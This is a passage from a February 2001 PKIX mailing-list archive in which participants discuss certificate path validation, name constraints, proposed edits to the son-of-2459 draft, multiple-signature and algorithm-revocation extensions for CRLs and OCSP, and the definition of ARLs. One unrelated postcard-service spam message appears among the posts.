you use RSA signatures with 1024 bit and in the FlexiPKI you expand it with
an ECDSA signature with 160 bit.

Best regards,
Soenke

Date: Tue, 20 Feb 2001 18:36:58 +0900
From: TAKIGUCHI Naruhito <[email-masked]>
To: [email-masked]
Subject: certificate policies extension in RFC2459 and new-part1-04

Hello.

I had sent a following mail to this list six months ago.
But I could not get any replies. So, I sent the same question again today.

It seems to me that there is an inconsistency between RFC2459 and 
new-part1-04 about processing the certificate policies extension.

In RFC2459, if the certificate policies extension is marked as 
non-critical, it is not processed. 
But in new-part1-04, the certificate policies extension is 
processed regardless of its critical flag.

For example, consider there is a certificate path as shown below, 
and the acceptable policy set is (A). In RFC2459, this path's validation
processing will succeed. But in new-part1-04, this path's validation
processing will fail.

    +------------------------+
    | root CA cert           |
    |                        |
    | critical policy(A)     |
    +------------------------+
                |
    +------------------------+
    | end entity cert        |
    |                        |
    | non-critical policy(B) |
    +------------------------+

And, new-part1-04 requires that certificate must have a certificate
policies extension.
For example, a following certificate path will succeed in RFC2459,
but will fail in new-part1-04.

    +------------------------+
    | root CA cert           |
    |                        |
    | critical policy(A)     |
    +------------------------+
                |
    +------------------------+
    | end entity cert        |
    |                        |
    |      (no policy)       |
    +------------------------+

Thus, new-part1-04 doesn't have compatibility with a certificate
which was issued based on RFC2459?
How do you think these compatibility between RFC2459 and new-part1-04?

Do I misunderstand?
Could anyone advise me?

Thanks in advance.

-----
Takiguchi Naruhito
FUJITSU HOKURIKU SYSTEMS LTD.

Date: Tue, 20 Feb 2001 10:14:06 +0100
From: Denis Pinkas <[email-masked]>
Organization: Bull
To: Tim Polk <[email-masked]>
CC: [email-masked]
Subject: Re: Resolution of name constraints issue

Tim,

> Folks,
> 
> As you may recall, name constraints had emerged as a thorny issue at the
> San Diego meeting.  ISO had determined that the current name constraints
> extension did not satisfy all of their requirements, and was contemplating
> revisions.  However, the current name constraints extension were an
> acceptable solution for PKIX because RFC 2459 (and its successor) mandated
> that the subject field of all CA certificates MUST contain a non-empty DN.
> 
> The changes under consideration at that time in ISO could have resulted in
> divergent IETF and ISO specifications.  I feared that changes in name
> constraints would delay or prevent implementation of this extension.  At
> the San Diego meeting, we agreed to convey our concerns to ISO and
> encourage them to explore other options.  We agreed that the issue needed
> to be resolved by the middle of February.  This was reasonable, since ISO
> had a meeting in Geneva at the end of January.
> 
> In between the San Diego and Geneva meetings, there was a flurry of
> activity on this topic.  Entrust, NIST, and Spyrus worked actively to flesh
> out the business requirements that name constraints should satisfy, then
> determine if a functional shortfall existed.  We determined that a
> shortfall existed, and it could not be satisfied with the current
> syntax.  We also determined that the current extension efficiently
> represented the remaining requirements.
> 
> This information 

Would it be possible that you post this document (or a summary of it) to the
mailing list so that all PKIX WG members may fully understand the rational ?

Thanks,

Denis

> was used by members of the ISO Directory Working Group to
> develop semantics and syntax for a new ISO extension which implements all
> of ISO's requirements.  This extension contains an additional optional
> field to specify that a name type is required to appear in all following
> certificates.  The extension incorporates both current fields and their
> semantics are preserved.  The new extension was discussed at the Geneva
> meeting, and seems likely to be accepted and incorporated in X.509 in the
> future.  A new OID will be assigned to identify the new extension.
> 
> What does this mean for PKIX?
> 
> (1) The name constraints text in son-of-2459 will not need to be
> modified.  The current OID can still be used with the specified syntax, and
> the semantics are preserved.  This means we can proceed with Last Call.
> 
> (2) The new extension is processed EXACTLY the same way as the current
> extension when the one new field is not present.  As a result, it will be
> straightforward to process paths that include both the current name
> constraints extension and the version ISO is currently working on.
> 
> (3) As the ISO documents (e.g., the defect report or proposed resolution)
> become available,  the PKIX WG should review the text to ensure
> compatibility and understand the new functionality that is being
> offered.  (Hoyt Kesterson has consistently brought these documents to the
> attention of the PKIX WG.  Thanks, Hoyt!)
> 
> (4) As the specification matures, PKIX can add the new name constraints
> extension to the recognized extension set.
> 
> There were numerous contributors in this process.  I would like to
> recognize the following people: Sharon Boeyen, Serge Mister, and Carlisle
> Adams from Entrust, Russ Housley from Spyrus, and David Cooper from NIST.
> 
> Thanks,
> 
> Tim Polk

Date: Tue, 20 Feb 2001 10:11:03 +0100
From: Denis Pinkas <[email-masked]>
Organization: Bull
To: Tim Polk <[email-masked]>
CC: [email-masked]
Subject: Re: WG Last Call: Son-of-2459

Tim,
 
> Folks,
> 
> The current version of Part1 is ready for Working Group Last Call; Last
> Call will close on or after February 28, 2001.
> 
> The draft is named draft-ietf-pkix-new-part1-04.txt.  The text has been
> posted and is available from the usual repositories, including:
> http://www.ietf.org/internet-drafts/draft-ietf-pkix-new-part1-04.txt
> 
> The name constraints issue has been addressed satisfactorily.  (See earlier
> message with subject "Resolution of name constraints issue").

... but, in section 6, there is nearly no text on name constraints.

> I am aware of one open issue that needs to be discussed by this group.  The
> basic constraints text (4.2.1.10, page 37) and path validation algorithm
> wrap-up procedure (6.1.5, page 73) contained in this specification does not
> consider the path length constraint for an end certificate.   

  ... and neither name constraints.

> This may be
> considered a change from RFC 2459, and ...
> 
>                            *it was not discussed on the list*.
> 

I have found some time to take a look at section 6 from the long awaited
Son-of-2459, and I am disappointed. We spent quite an hour sitting
together with you during the Pittsburgh meeting to add the name constraints
to section 6.2 and I can't find that text. :-(

So let us go one by one at the changes that are required, and a few more
that we did not discuss. This makes 14 change proposals altogether:

1. Page 13. Current text:

    A CRL is a time stamped list
   identifying revoked certificates which is signed by a CA and made
   freely available in a public repository.

Proposed change:

   A CRL includes a list identifying revoked certificates and a date 
   of issue for that list, which is signed by a CA (or an entity 
   designated by the CA) and made freely available in a public 
   repository.

Rational: This sentence could be misleading by using the wording "time
stamped". Also the signature is usually not done with the CA issuing key.

2. Page 58. Current text:

   The
   binding is limited by constraints which are specified in the
   certificates which comprise the path and the initial state variables
   which are specified by the relying party. 

Proposed change:

   The binding is limited both by constraints which are specified in 
   the certificates which comprise the path and the initial state 
   variables which are specified by the relying party, such as 
   certificate policy and name constraints. 

Rational: name constraints were missing.

3. Page 58. Current text:

   The algorithm
   requires the public key of the CA, the CA's name, and any constraints
   upon the set of paths which may be validated using this key.

Proposed change:

   The algorithm requires the public key of the CA, the CA's name, 
   and any constraints upon the set of paths (i.e. using name 
   constraints) which may be validated using this key, and optionally 
   the validity period of this set of parameters (which may be 
   contained in a self-signed certificate). 

Rational: A CA self-signed certificate, when used, contains a validity
period which allows a nice key rollover using CMP.

4. Page 58. Current text:

   Section 6.3 describes the steps necessary to determine if a
   certificate is (…) on hold status when CRLs are the revocation
   mechanism used by the certificate issuer.

and 6.3 CRL Validation

   This section describes the steps necessary to determine if a
   certificate is (…) on hold status 

but in practice the case of on hold is not addressed in section 6.3 !  There
should be a story saying that if the certificate is on hold, then there is
still a chance, later on, to know that the certificate is no more revoked.
The text should be amended by the editor to address that case.

5. Page 59. Current text:

   The primary goal of path validation is to verify the binding between
   a subject distinguished name or subject alternative name and subject
   public key, as represented in the end entity certificate, based on
   the public key of the trust anchor.  

Proposed change:

   The primary goal of path validation is to verify for a given time 
   the binding between a subject distinguished name or subject 
   alternative name and subject public key, as represented in the 
   end entity certificate, based on the public key of the trust 
   anchor.

Rational: This is only valid at a given time, and thus necessary to say it.

6. Page 60. Current text: 

   However, a CA may issue a 
   certificate to itself to support key rollover or changes in 
   certificate policies.

Proposed change:

   However, a CA may issue a certificate to itself to support either 
   public key rollover, both public key rollover and changes in 
   certificate policies and/or name constraints.

Rational: name constraints were missing.

7. Page 61. Current text:

   6.1.1 Inputs

   This algorithm assumes the following seven inputs are provided to the
   path processing logic:

Proposed change:

   This algorithm assumes the following nine inputs are provided to the
   path processing logic:

Rational: see below that two additional parameters need to be initialized. 
7 + 2 = 9

8. Page 61. Current text:

  (b) the time, T, for which the validity of the path should be
      determined.  This may be the current date/time, or some point in
      the past.

Proposed change:

  (b) the time, T, for which the validity of the path should be
      determined.  This may be the current date/time, or some point in
      the past (see the security considerations section about the 
      limitations of that algorithm in the case of some time in
      the past).

Rational: some additional text has been provided in the security
consideration section to warn the user in the case of past validation. Note
that that has strong incidences on our current discussion on past validation
along DPV.

9. Page 62. Current text:

      (d) trust anchor information, describing a CA that serves as a
          trust anchor for the certification path.

Proposed change:

      (d) trust anchor information, valid at the time T, describing a 
          CA that serves as a trust anchor for the certification path.

Rational: This is only valid at a given time, and thus necessary to say it.

then add:

 (5) optionally, the validity period of the trusted public key 
     (which may be part of a CA self-signed certificate or be defined 
     independently).

Rational: A CA self-signed certificate, when used, contains a validity
period which allows a nice key rollover using CMP. The equivalent when
self-signed certificates are not used, should allow be permitted.

10. Page 62. Add the following

  (h)  initial permitted_subtrees, which indicates a name space 
within which all subject names in subsequent certificates in a 
certification path shall be located. Restrictions may apply to the 
subject distinguished name or subject alternative names only when the
specified name form is present. This parameter is either initialized 
using the name constraints contained in a CA self-signed certificate 
or defined as an independent parameter.

  (i) initial excluded_subtrees, which indicates a name space within 
which all subject names in subsequent certificates in a certification 
path shall not be located. Restrictions may apply to the subject 
distinguished name or subject alternative names only when the 
specified name form is present. This parameter is either initialized 
using the name constraints contained in a CA self-signed certificate 
or defined as an independent parameter.

Rational: These variables are used later on, but need to be initialized.

11. Page 75. Current text:

For example, a trusted CA may only be trusted for a particular certificate
policy.

Change proposal:

For example, a trusted CA may only be trusted for a particular certificate
policy or/and for some name space within which all subject names in
subsequent certificates in a certification path shall or shall not be
located. 

Rational: name constraints were missing.

12. Page 77. 6.3.3 CRL Processing

As said previously, there should be a story saying that if the certificate
is on hold, then there is still a chance, later on, to know that the
certificate is no more revoked. The text should be amended by the editor to
address that case.

13. Page 81. Section 9. Security Considerations

Current text:

   In addition, where a key compromise or CA failure occurs for a
   trusted CA, the user will need to modify the information provided to
   the path validation routine.  

Rational: The case of a key compromission for any key used in the path
validation should be addressed here. Add before that text:

   When performing path validation for a time in the past, because 
   CAs do not publish revocation information beyond the expiration 
   of a certificate, the path validation algorithm described in this 
   document (section 6) is only safe as long as the current time is 
   still within the certificate validity period of any certificate 
   used in the path validation.

   When a path validation succeeds for a current time, and when there
   might be a need to verify later on the validity of that path, it is 
   recommended to time stamp the certification path, the CRLs and/or
   the OCSP responses as soon as an initial verification is done. 
   This will prove that the certificates, CRLs or OCSP responses were 
   issued before the compromise of the key and will allow for a later 
   path verification to provide the same result (i.e. pass), otherwise 
   path validation would provide a different result (i.e. fail). 

   In order to avoid multiple and successive time stamps, a single 
   time stamp over the certification path and its associated 
   revocation information is recommended.

   This technique works as long as the key of the TSA is not itself
   compromised. Should that case happen, then two time stamps would 
   provide a protection. Should the key of a TSA likely to be soon 
   discovered (because of improvements in the cracking of a key or 
   an algorithm), an additional time stamp over the previous time 
   stamp obtained before this discovery would still provide a 
   protection.

14. Page 81. Section 9. Security Considerations

Current text:

   If the compromise is
   detected, all certificates issued to the CA shall be revoked,
   preventing services between its users and users of other CAs.
   Rebuilding after such a compromise will be problematic, so CAs are
   advised to implement a combination of strong technical measures
   (e.g., tamper-resistant cryptographic modules) and appropriate
   management procedures (e.g., separation of duties) to avoid such an
   incident.

Proposed text:

  [If the compromise is
   detected, all certificates issued to the CA shall be revoked,
   preventing services between its users and users of other CAs.]
   In any case, it is advisable to implement a combination of 
   strong technical measures (e.g., tamper-resistant cryptographic 
   modules) and appropriate management procedures (e.g., separation 
   of duties) to avoid such an incident. Should such an incident 
   nevertheless happen, then two options are possible depending upon 
   the context of the application:

     a)  When certificates are used for current time validation, 
         then the issuing key of the compromised CA shall be changed 
         and new cross certificates shall be issued to the CA.

     b)  When certificates are both used for current time and past 
         time validations, then the former measure still applies, 
         but in addition time stamping allows to continue to make use 
         of the already issued (and compromised) certificates, CRLs or 
         OCSP responses but only from the start of the original 
         validity period of the corresponding certificate used to verify 
         the signature of the certificates, CRLs or OCSP responses and 
         until revocation time of that certificate. 

Rational: A rebuilding is not problematic. It is possible to describe how to
recover from such a situation. The additional text describes one way to do
it.

Regards,

Denis

Date: Tue, 20 Feb 2001 08:36:20 +0100
From: Juergen Brauckmann <[email-masked]>
To: =?iso-8859-1?Q?S=F6nke?= Maseberg <[email-masked]>
CC: pkix <[email-masked]>
Subject: Re: multiple digitale signatures

Hi.

Sönke Maseberg wrote:
> 1. multiple digital signatures
> we would  like to extend OCSP responses [RFC 2560] and CRLs (Certificate
> and CRL Profile) [<draft-ietf-pkix-new-part1-04.txt>] with multiple
> digital signatures in the following manner:

Why do you want to do that? If a client has an old OCSP response with an
expired algorithm, then the client could simply request a new OCSP
response.

If the old OCSP response is that important that you must reuse it, then
you may use timestamps.

I think it would be a big performance burden on the OCSP responder if it
would be forced to sign the response multiple times.

Regards,
   Juergen

Importance: Normal
Subject: Re: Algorithm revocation
To: =?iso-8859-1?Q?S=F6nke_Maseberg?= <[email-masked]>
Cc: pkix <[email-masked]>
From: "Tom Gindin" <[email-masked]>
Date: Mon, 19 Feb 2001 18:37:20 -0500

     On the "Algorithm revocation" concept, while an RP would probably not
always want to rely on a CA's ideas about which algorithms are unsafe, at
least it would allow a CA to notify RP software which predates an algorithm
compromise and isn't configurable for a list of weakened algorithms that it
has reason to believe that some algorithm is weakened.  This idea is
actually more useful in having a CA which is a trusted root for some users
impose a constraint on CA's it has cross-certified than it is in simply
avoiding individual revocations, since a CA is expected to perform such
revocations as needed whether issuing a large number of revocations is
costly or not.
     If you're going to provide revocation facilities for an algorithm in
this way, wouldn't it be better to allow for the possibility that an
algorithm is revoked for certain key lengths and not for others (e.g.,
RSA-512 may be broken while RSA-2048 is not)?  If this is indeed a
reasonable idea, revokedAlgorithms would be a CRL extension (not a CRL
entry extension) with approximately the following syntax:

RevokedAlgorithmsSyntax ::= SEQUENCE OF CompromisedAlgorithm
CompromisedAlgorithm ::= SEQUENCE {
      signatureAlgorithm      AlgorithmIdentifier,
      minimumSafeKeyBits INTEGER DEFAULT 1000000000,  -- or any very large
number
     -- would a combination of { KeyUsage flag, Size } be more useful?
      revocationDate     Time,
      explanatoryText    UTF8String OPTIONAL
}
     I don't see the point of having entry extensions inside
revokedAlgorithms, nor do I see any need to extend the base CRL structure
for them.  The criticality of this extension as a whole is a matter of
opinion.
     On multiple signatures, is it really wise to encourage the inclusion
of multiple CMS SignerInfo's or equivalents as an extension to an OCSP
responses?  I know that there are some non-repudiation situations where
this might be of slightly greater use than having the RP choose its desired
signature algorithm using a requestExtension, while being more efficient
than asking for the same answer multiple times with such an extension and
getting multiple identical response bodies with different signatures.
However, signed timestamp pyramiding ought to protect against later
compromises of algorithms which are not believed to be questionable at the
time of the OCSP check.

          Tom Gindin

Sönke Maseberg <[email-masked]> on 02/19/2001 04:27:48 PM

To:   pkix <[email-masked]>
cc:
Subject:  multiple digitale signatures

Hello,

we are working at the problem, that it couldn't be excluded that one
component of a public key infrastructure can be compromised, since no
proofable secure signature algorithm or hash function exists.

For example nowadays the hash functions SHA-1 or RIPEMD-160 and the
signature algorithms RSA with 1024 bit or ECDSA with 160 bit keylength
are qualified for cryptographic purposes. The public key cryptograpy is
based on mathematical problems which are supposed to be hard to solve,
but it is not known for sure. If a failure occurs the security of the
PKI could not be guaranteed any longer as a whole, this means the
electronic communication may be insecure.

That is the reason why we develop a public key infrastructure which will
keep its functionality in the case of failure and which is able to be
repaired and where generated digital signatures won't lose their
proofability.

As a basic restriction the technical components must be integrated in
the PKI in such a flexible manner, that an exchange could be possible.
The flexible public key infrastructure which is developed at the chair
of Professor Buchmann of the Technical University of Darmstadt/Germany
in the "FlexiPKI" project is following this philosophy.

The main idea is to build up a public key infrastructure upon several
independent cryptographic components, where in the case, one component
is compromised the other components still can be used to:
- Exchange the compromised component securely
- Sign electronic documents multiple (concept of multiple digital
signatures)

To support standards of PKIX, we ask for some discussions about our
ideas and extensions:

1. multiple digital signatures

We want to use multiple digital signatures, that are digital signatures
generated of independent signature algorithms, for example RSA with
SHA-1 and ECDSA with RIPEMD-160. PKCS#7 supports those signatures. But
we would  like to extend OCSP responses [RFC 2560] and CRLs (Certificate
and CRL Profile) [<draft-ietf-pkix-new-part1-04.txt>] with multiple
digital signatures in the following manner:

OCSP response:

   BasicOCSPResponse  ::=  SEQUENCE {
      tbsResponseData       ResponseData,
      signatureAlgorithm    AlgorithmIdentifier,
      signature             BIT STRING,
      certs                 [0]  EXPLICIT SEQUENCE OF Certificate
OPTIONAL,
      additionalsignatures  [1]  SEQUENCE OF SEQUENCE {        --
EXTENSION
           signatureAlgorithm         AlgorithmIdentifier,
           signature                  BIT STRING }
           }  OPTIONAL
      }

CRL:

   CertificateList  ::=  SEQUENCE  {
      tbsCertList            TBSCertList,
      signatureAlgorithm     AlgorithmIdentifier,
      signatureValue         BIT STRING,
      additionalsignatures   SEQUENCE OF SEQUENCE {           --
EXTENSION
         signatureAlgorithm     AlgorithmIdentifier,
         signatureValue         BIT STRING
         }  OPTIONAL
      }

2. revoked algorithms

If a signature algorithms is compromised, all certificates have to be
revoked. But the number of those certificates can be very large, so we
would like to revoke an algorithm. For this reason we propose the
following extension of CRL (Certificate and CRL Profile)
[<draft-ietf-pkix-new-part1-04.txt>]:

   TBSCertList  ::=  SEQUENCE  {
      version                Version OPTIONAL,
      signature              SEQUENCE OF AlgorithmIdentifier,  --
EXTENSION
      issuer                 Name,
      thisUpdate             Time,
      nextUpdate             Time OPTIONAL,
      revokedCertificates    SEQUENCE OF SEQUENCE  {
         userCertificate        CertificateSerialNumber,
         revocationDate         Time,
         crlEntryExtensions     Extensions OPTIONAL
         }  OPTIONAL,
      crlExtensions          [0]  EXPLICIT Extensions OPTIONAL,
      revokedAlgorithms      [1]  SEQUENCE OF SEQUENCE {       --
EXTENSION
         signatureAlgorithm          AlgorithmIdentifier,
         revocationDate              Time,
         crlEntryExtensions          Extensions OPTIONAL
         }  OPTIONAL
      }

What do you think about it?

Thanks in advance,
Sönke

---

Sönke Maseberg       GMD - Institut für Sichere Telekooperation
Dipl.-Math.          Rheinstr. 75, D-64295 Darmstadt
                     Tel: 06151/869-60036, Fax: 06151/869-224

                     Technische Universität Darmstadt
                     Institut fuer Theoretische Informatik
                     Lehrstuhl Prof. J. Buchmann
                     Alexanderstr. 10, D-64283 Darmstadt

Date: Mon, 19 Feb 2001 22:27:48 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[email-masked]>
To: pkix <[email-masked]>
Subject: multiple digitale signatures

Hello,

we are working at the problem, that it couldn't be excluded that one
component of a public key infrastructure can be compromised, since no
proofable secure signature algorithm or hash function exists. 

For example nowadays the hash functions SHA-1 or RIPEMD-160 and the
signature algorithms RSA with 1024 bit or ECDSA with 160 bit keylength
are qualified for cryptographic purposes. The public key cryptograpy is
based on mathematical problems which are supposed to be hard to solve,
but it is not known for sure. If a failure occurs the security of the
PKI could not be guaranteed any longer as a whole, this means the
electronic communication may be insecure.

That is the reason why we develop a public key infrastructure which will
keep its functionality in the case of failure and which is able to be
repaired and where generated digital signatures won't lose their
proofability.

As a basic restriction the technical components must be integrated in
the PKI in such a flexible manner, that an exchange could be possible.
The flexible public key infrastructure which is developed at the chair
of Professor Buchmann of the Technical University of Darmstadt/Germany
in the "FlexiPKI" project is following this philosophy. 

The main idea is to build up a public key infrastructure upon several
independent cryptographic components, where in the case, one component
is compromised the other components still can be used to:
- Exchange the compromised component securely
- Sign electronic documents multiple (concept of multiple digital
signatures)

To support standards of PKIX, we ask for some discussions about our
ideas and extensions:

1. multiple digital signatures

We want to use multiple digital signatures, that are digital signatures
generated of independent signature algorithms, for example RSA with
SHA-1 and ECDSA with RIPEMD-160. PKCS#7 supports those signatures. But
we would  like to extend OCSP responses [RFC 2560] and CRLs (Certificate
and CRL Profile) [<draft-ietf-pkix-new-part1-04.txt>] with multiple
digital signatures in the following manner:

OCSP response:

   BasicOCSPResponse  ::=  SEQUENCE {
      tbsResponseData       ResponseData,
      signatureAlgorithm    AlgorithmIdentifier,
      signature             BIT STRING,
      certs                 [0]  EXPLICIT SEQUENCE OF Certificate
OPTIONAL,
      additionalsignatures  [1]  SEQUENCE OF SEQUENCE {        --
EXTENSION              
           signatureAlgorithm         AlgorithmIdentifier,
           signature                  BIT STRING } 
           }  OPTIONAL
      }

CRL:

   CertificateList  ::=  SEQUENCE  {
      tbsCertList            TBSCertList,
      signatureAlgorithm     AlgorithmIdentifier,
      signatureValue         BIT STRING, 
      additionalsignatures   SEQUENCE OF SEQUENCE {           --
EXTENSION
         signatureAlgorithm     AlgorithmIdentifier,
         signatureValue         BIT STRING 
         }  OPTIONAL
      }

2. revoked algorithms

If a signature algorithms is compromised, all certificates have to be
revoked. But the number of those certificates can be very large, so we
would like to revoke an algorithm. For this reason we propose the
following extension of CRL (Certificate and CRL Profile)
[<draft-ietf-pkix-new-part1-04.txt>]:
 
   TBSCertList  ::=  SEQUENCE  {
      version                Version OPTIONAL,
      signature              SEQUENCE OF AlgorithmIdentifier,  --
EXTENSION
      issuer                 Name,
      thisUpdate             Time,
      nextUpdate             Time OPTIONAL,
      revokedCertificates    SEQUENCE OF SEQUENCE  {
         userCertificate        CertificateSerialNumber,
         revocationDate         Time,
         crlEntryExtensions     Extensions OPTIONAL
         }  OPTIONAL,
      crlExtensions          [0]  EXPLICIT Extensions OPTIONAL, 
      revokedAlgorithms      [1]  SEQUENCE OF SEQUENCE {       --
EXTENSION
         signatureAlgorithm          AlgorithmIdentifier,
         revocationDate              Time,
         crlEntryExtensions          Extensions OPTIONAL 
         }  OPTIONAL
      }

What do you think about it? 

Thanks in advance,
Sönke

---

Sönke Maseberg       GMD - Institut für Sichere Telekooperation
Dipl.-Math.          Rheinstr. 75, D-64295 Darmstadt
                     Tel: 06151/869-60036, Fax: 06151/869-224

                     Technische Universität Darmstadt
                     Institut fuer Theoretische Informatik
                     Lehrstuhl Prof. J. Buchmann
                     Alexanderstr. 10, D-64283 Darmstadt

From: Asian.Postcard
Date: Tue, 20 Feb 2001 02:02:48
To: [email-masked]
Subject: You can send actual postcard from asia

If you received an actual postcard from abroad¡¦.
How do you feel ?

We send it from Seoul Korea to your client in worldwide with a Korea stamp and oriental postcard with your handwritten messages.

Your customer will think you are sending it from Korea with traveling, even if you are not there.

a)	customer's interest - say hello from the mystery world.
b)	customer's inspiration - your special concerns from abroad.
c)	unique experience - receiving news from the opposite side of the earth.
d)	hand-written message - think of them as a valued customer

For most companies it means the difference between a sizeable profit margin and just getting by. A successful business requires good communication between the company and the client and the company showing that it cares about its clients.

With our personalized postcards you have the opportunity to show that you care about the people who make your business profitable.
Many companies have greeting cards that can be received electronically. Our company is not one of those. Even though we realize that we are in the electronic age we relate to how important an 'actual' postcard received at their home or office can be. Our postcards served handwritten so that they can be personable. These messages will relate that you care about their business and think of them as a valued customer.

So why wait any longer to let your customers know how you feel about them 
Visit our website today at http://www.asiancard.com to let them know how important they are to you.

Sincerely 

Jaeson Joe
Asian postcard service  
[email-masked]

Content-return: allowed
Date: Sun, 18 Feb 2001 23:02:03 -0800
From: Ambarish Malpani <[email-masked]>
Subject: RE: ARL without IDP extension
To: "'Hiroyuki Sakakibara'" <[email-masked]>, [email-masked]

Hi Sakakibara-san,
    I believe we are saying the same thing - we vehemently
agree - which is always a pleasure on this list :-)

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [email-masked]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043

> From: Hiroyuki Sakakibara [mailto:[email-masked]]
> Sent: Sunday, February 18, 2001 10:45 PM
> To: Ambarish Malpani; [email-masked]
> Subject: Re: ARL without IDP extension
> 
> 
> Mr. Malpani
> 
> Thank you for your comment.
> 
> Mr. Malpani> I would agree with you, that any CRL that didn't contain
> Mr. Malpani> the IDP extension *is* a full CRL. Anything else 
> would be an
> Mr. Malpani> invitation to trouble.
> 
> I think that if an ARL without IDP is issued by a CA and it 
> causes trouble,
> the CA is responsible for it, not RP.
> 
> A CA may locate such ARLs in a directory system as
> "authorityRevocationList"s.
> If a RP trusts the directory system, the RP may use the ARL 
> without IDP
> in the directory entry as ARL, but otherwise the RP can not 
> recognize the
> entry is "ARL".
> 
> I think even though the RP trusts the Directory system by any method
> ( passowrd authentication or SSL etc ... ), the RP shoud check that
> the ARL is "ARL" by himself,
> because the RP's trust level for the directory system and the ARL's
> signagture is not identical.
> Hence, I think an ARL should contain an information such as IDP
> which a RP can recognize the RL is  "ARL" by checking the RL it self.
> 
> Hiroyuki Sakakibara
> 
> ---------------------------------------
> Hiroyuki Sakakibara
> MITSUBISHI ELECTRIC CORPORATION
> Information Technology R&D Center
> 5-1-1 Ofuna, Kamakura, Kanagawa, Japan
> PHONE: +81-467-41-2183
> FAX:   +81-467-41-2185
> E-mail : [email-masked]
> 
> ----- Original Message -----
> From: Ambarish Malpani <[email-masked]>
> To: 'Hiroyuki Sakakibara' <[email-masked]>; 
> <[email-masked]>
> Sent: Thursday, February 15, 2001 3:35 PM
> Subject: RE: ARL without IDP extension
> 
> 
> >
> > Hi,
> >     I would agree with you, that any CRL that didn't contain
> > the IDP extension *is* a full CRL. Anything else would be an
> > invitation to trouble.
> >
> > Ambarish
> >
> > 
> ---------------------------------------------------------------------
> > Ambarish Malpani
> > Architect                                                
> 650.567.5457
> > ValiCert, Inc.                                  
> [email-masked]
> > 339 N. Bernardo Ave.                          
> http://www.valicert.com
> > Mountain View, CA 94043
> >
> >
> > > From: Hiroyuki Sakakibara [mailto:[email-masked]]
> > > Sent: Wednesday, February 14, 2001 10:13 PM
> > > To: [email-masked]
> > > Subject: ARL without IDP extension
> > >
> > >
> > > Hello
> > >
> > > I have a question about the definition of ARL.
> > >
> > > I think that the definition of ARL is
> > >
> > > "a CRL which contains Issuing Distribution Point
> > >   with onlyContainAuthorityCerts = TRUE."
> > >
> > > hence, I think the following CRL is NOT ARL.
> > >
> > > "CRL which contains ONLY CA Certificate Revocation
> > > Information on the list
> > > but not containts IDP"
> > >
> > > I think this is a Complete CRL ( eventhough it contains only
> > > CA Certificate
> > > information).
> > >
> > > Am I right ?
> > >
> > > -------------------------------------------------------------
> > >
> > > If the CRL is determied as ARL, the following problem
> > > may occur.
> > >
> > > * CRL1(as ARL)
> > > Issuer = XYZ_CA
> > > thisUpdate = 2001 02 14 12 00 00 Z
> > > nextUpdate = 2001 03 14 12 00 00 Z
> > > contains CA Certificate Information only
> > > ( Cert1 issued by XYZ_CA is revoked )
> > > without IDP
> > >
> > > * CRL2
> > > Issuer = XYZ_CA
> > > thisUpdate = 2001 02 14 18 00 00 Z
> > > nextUpdate = 2001 03 14 18 00 00 Z
> > > contains EndUser Certificate Information only
> > > without IDP
> > >
> > > Assume that RP check these CRLs at date = 2001 02 17 12 00 00 Z,
> > > RP determine that the latest CRL for a CA certificate "Cert1"
> > > issued by
> > > XYZ_CA  is "CRL2" (for example, cross-certification environment).
> > >
> > > But CRL2 does not contain CA Certificates information, 
> hence RP may
> > > misunderstand that the certificate was valid.
> > >
> > > OR if the definition of CRL1 is correct as ARL( because 
> it contains
> > > ONLY CA Certificate Information),
> > > RP should check both CRL1 and CRL2 ???
> > >
> > > I welcome any comments.
> > > Thank you.
> > >
> > > --------------------------
> > > Hiroyuki Sakakibara
> > > Mitsubishi Electric Corporation
> > >
> > >
> >
> 
> 
> 
> 

From: "Hiroyuki Sakakibara" <[email-masked]>
To: "Ambarish Malpani" <[email-masked]>, <[email-masked]>
Subject: Re: ARL without IDP extension
Date: Mon, 19 Feb 2001 15:45:06 +0900

Mr. Malpani

Thank you for your comment.

Mr. Malpani> I would agree with you, that any CRL that didn't contain
Mr. Malpani> the IDP extension *is* a full CRL. Anything else would be an
Mr. Malpani> invitation to trouble.

I think that if an ARL without IDP is issued by a CA and it causes trouble,
the CA is responsible for it, not RP.

A CA may locate such ARLs in a directory system as
"authorityRevocationList"s.
If a RP trusts the directory system, the RP may use the ARL without IDP
in the directory entry as ARL, but otherwise the RP can not recognize the
entry is "ARL".

I think even though the RP trusts the Directory system by any method
( passowrd authentication or SSL etc ... ), the RP shoud check that
the ARL is "ARL" by himself,
because the RP's trust level for the directory system and the ARL's
signagture is not identical.
Hence, I think an ARL should contain an information such as IDP
which a RP can recognize the RL is  "ARL" by checking the RL it self.

Hiroyuki Sakakibara

---------------------------------------
Hiroyuki Sakakibara
MITSUBISHI ELECTRIC CORPORATION
Information Technology R&D Center
5-1-1 Ofuna, Kamakura, Kanagawa, Japan
PHONE: +81-467-41-2183
FAX:   +81-467-41-2185
E-mail : [email-masked]

----- Original Message -----
From: Ambarish Malpani <[email-masked]>
To: 'Hiroyuki Sakakibara' <[email-masked]>; <[email-masked]>
Sent: Thursday, February 15, 2001 3:35 PM
Subject: RE: ARL without IDP extension

>
> Hi,
>     I would agree with you, that any CRL that didn't contain
> the IDP extension *is* a full CRL. Anything else would be an
> invitation to trouble.
>
> Ambarish
>
> ---------------------------------------------------------------------
> Ambarish Malpani
> Architect                                                650.567.5457
> ValiCert, Inc.                                  [email-masked]
> 339 N. Bernardo Ave.                          http://www.valicert.com
> Mountain View, CA 94043
>
>
> > From: Hiroyuki Sakakibara [mailto:[email-masked]]
> > Sent: Wednesday, February 14, 2001 10:13 PM
> > To: [email-masked]
> > Subject: ARL without IDP extension
> >
> >
> > Hello
> >
> > I have a question about the definition of ARL.
> >
> > I think that the definition of ARL is
> >
> > "a CRL which contains Issuing Distribution Point
> >   with onlyContainAuthorityCerts = TRUE."
> >
> > hence, I think the following CRL is NOT ARL.
> >
> > "CRL which contains ONLY CA Certificate Revocation
> > Information on the list
> > but not containts IDP"
> >
> > I think this is a Complete CRL ( eventhough it contains only
> > CA Certificate
> > information).
> >
> > Am I right ?
> >
> > -------------------------------------------------------------
> >
> > If the CRL is determied as ARL, the following problem
> > may occur.
> >
> > * CRL1(as ARL)
> > Issuer = XYZ_CA
> > thisUpdate = 2001 02 14 12 00 00 Z
> > nextUpdate = 2001 03 14 12 00 00 Z
